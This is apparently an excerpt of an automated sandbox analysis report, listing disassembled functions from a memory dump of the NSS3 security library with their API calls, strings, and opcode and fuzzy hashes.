SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CA82D6B,?,?,00000000), ref: 6CAAAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CA82D6B,?,?,00000000), ref: 6CAAAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CA82D6B,?,?), ref: 6CAAAEA3

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 2cccccd6223c19856226970ec0794e17c18409be851e144f9da2ec207505faf9
Instruction ID: 458178b2768c5781f46d02ef5370a06d112f6cf7379f77a323277a74d0d21f54
Opcode Fuzzy Hash: 2cccccd6223c19856226970ec0794e17c18409be851e144f9da2ec207505faf9
Instruction Fuzzy Hash: E701F9B2B1113057E71152ECAD86A9F31E98B8765DF0C0032E809C7B01F611DDCA4AE3

Function 6CB9ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CB9A6D8), ref: 6CB9AE0D
free.MOZGLUE(?), ref: 6CB9AE14
DeleteCriticalSection.KERNEL32(6CB9A6D8), ref: 6CB9AE36
free.MOZGLUE(?), ref: 6CB9AE3D
free.MOZGLUE(00000000,00000000,?,?,6CB9A6D8), ref: 6CB9AE47

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 7c1d763634eb59e07f4549d1d0f94a64dea626eec2ebe0e50d2c57bed6b64dcc
Instruction ID: 05271c8858f6401afea85ef186e8c61f28b1ddc8689cf582f4603fadbb99b27a
Opcode Fuzzy Hash: 7c1d763634eb59e07f4549d1d0f94a64dea626eec2ebe0e50d2c57bed6b64dcc
Instruction Fuzzy Hash: 4CF09675601E05A7CA119FA8D818957777CFF8A7757240328E52A83940D731F115CBD6

Function 6CA16C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CA16D36

Strings

%s at line %d of [%.10s], xrefs: 6CA16D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA16D20
database corruption, xrefs: 6CA16D2A

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 678bac127106b442e8dac9a1274060e7cbc86fc0436b02d579ac1ade599ce5b9
Instruction ID: fe60cf604e765e0e7b2747688e87bca3ef6d612ecd8647bc49f4c68ee8a997aa
Opcode Fuzzy Hash: 678bac127106b442e8dac9a1274060e7cbc86fc0436b02d579ac1ade599ce5b9
Instruction Fuzzy Hash: 6B210035618B059BC7108E1AD941B5AB7F6EF80318F28852CD849DBF50E770F9888B92

Function 6CB4CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CB4CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB4CC7B), ref: 6CB4CD7A
Part of subcall function 6CB4CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB4CD8E
Part of subcall function 6CB4CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB4CDA5
Part of subcall function 6CB4CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB4CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CB4CCB5
memcpy.VCRUNTIME140(6CBE14F4,6CBE02AC,00000090), ref: 6CB4CCD3
memcpy.VCRUNTIME140(6CBE1588,6CBE02AC,00000090), ref: 6CB4CD2B

Part of subcall function 6CA69AC0: socket.WSOCK32(?,00000017,6CA699BE), ref: 6CA69AE6
Part of subcall function 6CA69AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CA699BE), ref: 6CA69AFC

Part of subcall function 6CA70590: closesocket.WSOCK32(6CA69A8F,?,?,6CA69A8F,00000000), ref: 6CA70597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CB4CCB0

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: cead0b770fa58d4c4b5941ea9759dff0f365728be8960c7a3533cfd63799f645
Instruction ID: 49a58e10596c681ad86cc54b3744f518f0559b781bca3583b2abc802673c66d0
Opcode Fuzzy Hash: cead0b770fa58d4c4b5941ea9759dff0f365728be8960c7a3533cfd63799f645
Instruction Fuzzy Hash: CB1178B5B012C05EDB409B69984676636F8A34FE94F381035E40987B53D771CC44DBD2

Function 6CAB2520 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetFunctionList), ref: 6CAB2538
PR_LogPrint.NSS3( ppFunctionList = 0x%p,?), ref: 6CAB2551

Part of subcall function 6CB909D0: PR_Now.NSS3 ref: 6CB90A22
Part of subcall function 6CB909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CB90A35
Part of subcall function 6CB909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CB90A66
Part of subcall function 6CB909D0: PR_GetCurrentThread.NSS3 ref: 6CB90A70
Part of subcall function 6CB909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CB90A9D
Part of subcall function 6CB909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CB90AC8
Part of subcall function 6CB909D0: PR_vsmprintf.NSS3(?,?), ref: 6CB90AE8
Part of subcall function 6CB909D0: EnterCriticalSection.KERNEL32(?), ref: 6CB90B19
Part of subcall function 6CB909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB90B48
Part of subcall function 6CB909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB90C76
Part of subcall function 6CB909D0: PR_LogFlush.NSS3 ref: 6CB90C7E

Strings

ppFunctionList = 0x%p, xrefs: 6CAB254C
C_GetFunctionList, xrefs: 6CAB2533

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: ppFunctionList = 0x%p$C_GetFunctionList
API String ID: 1907330108-525396629
Opcode ID: ec6dc3d0da7d0ce17dba2449133f0ccf7d6b19ad25ffea5ae02093367ef3d400
Instruction ID: 53d564383e37c84761a62ef1fc27b463ba879ffc6282a8ba6c7408e2f04ce976
Opcode Fuzzy Hash: ec6dc3d0da7d0ce17dba2449133f0ccf7d6b19ad25ffea5ae02093367ef3d400
Instruction Fuzzy Hash: 7F012878300081DFCB909F58EE4C75933B9E78A769F084226E504E3611DF3899C9CBA3

Function 6CAC0630 Relevance: 6.1, APIs: 4, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CAC563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CAC195C
Part of subcall function 6CAC1940: EnterCriticalSection.KERNEL32(?,?,6CAC563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CA9EAC5,00000001), ref: 6CAC1970
Part of subcall function 6CAC1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CA9EAC5,00000001,?,6CA9CE9B,00000001,6CA9EAC5), ref: 6CAC19A0

PORT_Alloc_Util.NSS3(00000000,?,?,?,?,?,?,00000000,?,00000009), ref: 6CAC0678

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,?,00000009), ref: 6CAC06E6
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CAC0770

Part of subcall function 6CAC1EA0: PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CAA6295,?,00000000,00000000,00000001,6CAC2653,?), ref: 6CAC1ECB

free.MOZGLUE(?), ref: 6CAC0787

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$Value$Alloc_CriticalEnterSectionUnlockUtilfreemalloc
String ID:
API String ID: 1159529522-0
Opcode ID: cfdb2ce37d34fb1d63b742defa4bca53a760f04603924638c1b0d78fd5e679be
Instruction ID: 729541f72b3afe00ac707209c35e2e480c3293b5f5aeb3f866500306dc769155
Opcode Fuzzy Hash: cfdb2ce37d34fb1d63b742defa4bca53a760f04603924638c1b0d78fd5e679be
Instruction Fuzzy Hash: 364126B1F006559BDB00DFA89C80EEF3BB9AF85354F140528E919A7301EB31D994CBE2

Function 6CB98530 Relevance: 6.1, APIs: 4, Instructions: 127threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBE14E4,6CB4CC70), ref: 6CB98569
gethostbyaddr.WSOCK32(?,00000004,00000002), ref: 6CB985AD
GetLastError.KERNEL32(?,00000004,00000002), ref: 6CB985B6
PR_GetCurrentThread.NSS3(?,00000004,00000002), ref: 6CB985C6

Part of subcall function 6CA70F00: PR_GetPageSize.NSS3(6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F1B
Part of subcall function 6CA70F00: PR_NewLogModule.NSS3(clock,6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F25

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CallCurrentErrorLastModuleOncePageSizeThreadgethostbyaddr
String ID:
API String ID: 4254312643-0
Opcode ID: 5e04a9274b501eef6c6e7b60c579da62884f48345c42ed9cb9d871457523efb3
Instruction ID: 8a2c4ae5aedde1b1b3aa998ce0d753d73d3e748ffd7d3706c98a46b12ee1c518
Opcode Fuzzy Hash: 5e04a9274b501eef6c6e7b60c579da62884f48345c42ed9cb9d871457523efb3
Instruction Fuzzy Hash: 314114B0A083C6ABEB148B36D844755B7B4EB4632CF18473BC91547AC1D7769D88CBD2

Function 6CB44FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CA285D2,00000000,?,?), ref: 6CB44FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB4500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB450C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB450D6

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 0f074f143d44afec2a54c051564f3b1b46648aa324e940a5248fa001c87709e9
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 00419EB6A006518BCB18CF18DCD179AB7E1FF4431871D866DC84ACBB06E379E895CB85

Function 6CAD0420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6CABC97F,?,?,?), ref: 6CAD04BF
TlsGetValue.KERNEL32(00000000,?,6CABC97F,?,?,?), ref: 6CAD04F4
EnterCriticalSection.KERNEL32(?,?,?,6CABC97F,?,?,?), ref: 6CAD050D
PR_Unlock.NSS3(?,?,?,?,6CABC97F,?,?,?), ref: 6CAD0556

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 807121ef6cd1fa304ea8e9f4cda8b70af78dfff77b212474a9389c983520d9c7
Instruction ID: e48ce8ecd04235157d982e5e150c9767b763f499fc957e91f4e6b8b0f49c9523
Opcode Fuzzy Hash: 807121ef6cd1fa304ea8e9f4cda8b70af78dfff77b212474a9389c983520d9c7
Instruction Fuzzy Hash: 30412BB4A056568FDB04DF29C54466ABBF4FF44318F1A856DDC998BB11E730F891CB80

Function 6CAFA7B0 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0EDB0: PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CAF7FFA,?,6CAF9767,?,8B7874C0,0000A48E), ref: 6CB0EDD4

PK11_DigestOp.NSS3(?,00000000,?,?,?,?,?,?,00000004,?,6CB21882,?,000000FE,?,?), ref: 6CAFA8E3

Part of subcall function 6CAADEF0: TlsGetValue.KERNEL32 ref: 6CAADF37
Part of subcall function 6CAADEF0: EnterCriticalSection.KERNEL32(?), ref: 6CAADF4B
Part of subcall function 6CAADEF0: PR_SetError.NSS3(00000000,00000000), ref: 6CAAE02B
Part of subcall function 6CAADEF0: PR_Unlock.NSS3(?), ref: 6CAAE07E

PK11_DigestOp.NSS3(?,00000000,?), ref: 6CAFA871

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: DigestErrorK11_$CriticalEnterSectionUnlockValue
String ID:
API String ID: 1327502718-0
Opcode ID: 9728de53387e2fad0a9fb30295cfa4263c75d437a62cc37b6e7a4b2293b6fc37
Instruction ID: aeac7fbdb28ec60aaf923b44bed9f1a56ed07c70cd5164ef41c856dc8c07685a
Opcode Fuzzy Hash: 9728de53387e2fad0a9fb30295cfa4263c75d437a62cc37b6e7a4b2293b6fc37
Instruction Fuzzy Hash: D631E9B2F00219ABEB0049649C44BEB33A7AB95308F1C8234FD2447B41E7719CABD7D1

Function 6CA86C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA86C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA86CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CA86CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CBA8FE0), ref: 6CA86CFE

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 89ef983ca4d356b8928e2eb58e5924ec72fea6b0e865d6ebfcc49790e0f8b8cf
Instruction ID: 33ef8c041aa0cc579cff55184389209da28dc70690d2c0644ad36f821a9b0ce7
Opcode Fuzzy Hash: 89ef983ca4d356b8928e2eb58e5924ec72fea6b0e865d6ebfcc49790e0f8b8cf
Instruction Fuzzy Hash: BD31AEB1A012169FEB08CF65C881ABFBBF5EF49248B14442DD905E7700FB319946CBA0

Function 6CAF6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CAF6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAF6E57

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CAF6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CAF6EAA

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 49dd0898e987e4a825f48e12946c9ed22966ea52047a14c81e5999c154b12ce9
Instruction ID: 83c168db55ad21507329a94bc29376b268a13a2025ecfad6656b1928c1d247ba
Opcode Fuzzy Hash: 49dd0898e987e4a825f48e12946c9ed22966ea52047a14c81e5999c154b12ce9
Instruction Fuzzy Hash: 9A31E133610512EEDB141F34DD04396B7B5AB0531AF14063CE8A9D3B80EB31A8DACF81

Function 6CAE8530 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,6CAE72EC), ref: 6CAE855A

Part of subcall function 6CAE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF
Part of subcall function 6CAE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

PORT_ArenaGrow_Util.NSS3(?,00000000,?,00000001,?,?,6CAE72EC), ref: 6CAE859E
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CAE72EC), ref: 6CAE85B8
PR_SetError.NSS3(FFFFE005,00000000,?,6CAE72EC), ref: 6CAE8600

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ErrorUtil$ArenaHashLookupTable$Alloc_ConstFindGrow_
String ID:
API String ID: 1727503455-0
Opcode ID: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction ID: 2b110836b775e40f5adb93417dae49cc5e355e4924b2d6ffd6bbdda08d3cdd3e
Opcode Fuzzy Hash: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction Fuzzy Hash: E2210672A002119BE7108F2DDC40B6B76A9AF8931CF69412AD865D7790EF31D886D7F1

Function 6CA887D0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CA7EF74,00000000), ref: 6CA887E8

Part of subcall function 6CAE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
Part of subcall function 6CAE0FF0: PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016
Part of subcall function 6CAE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CA7EF74,00000000), ref: 6CA887FD

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
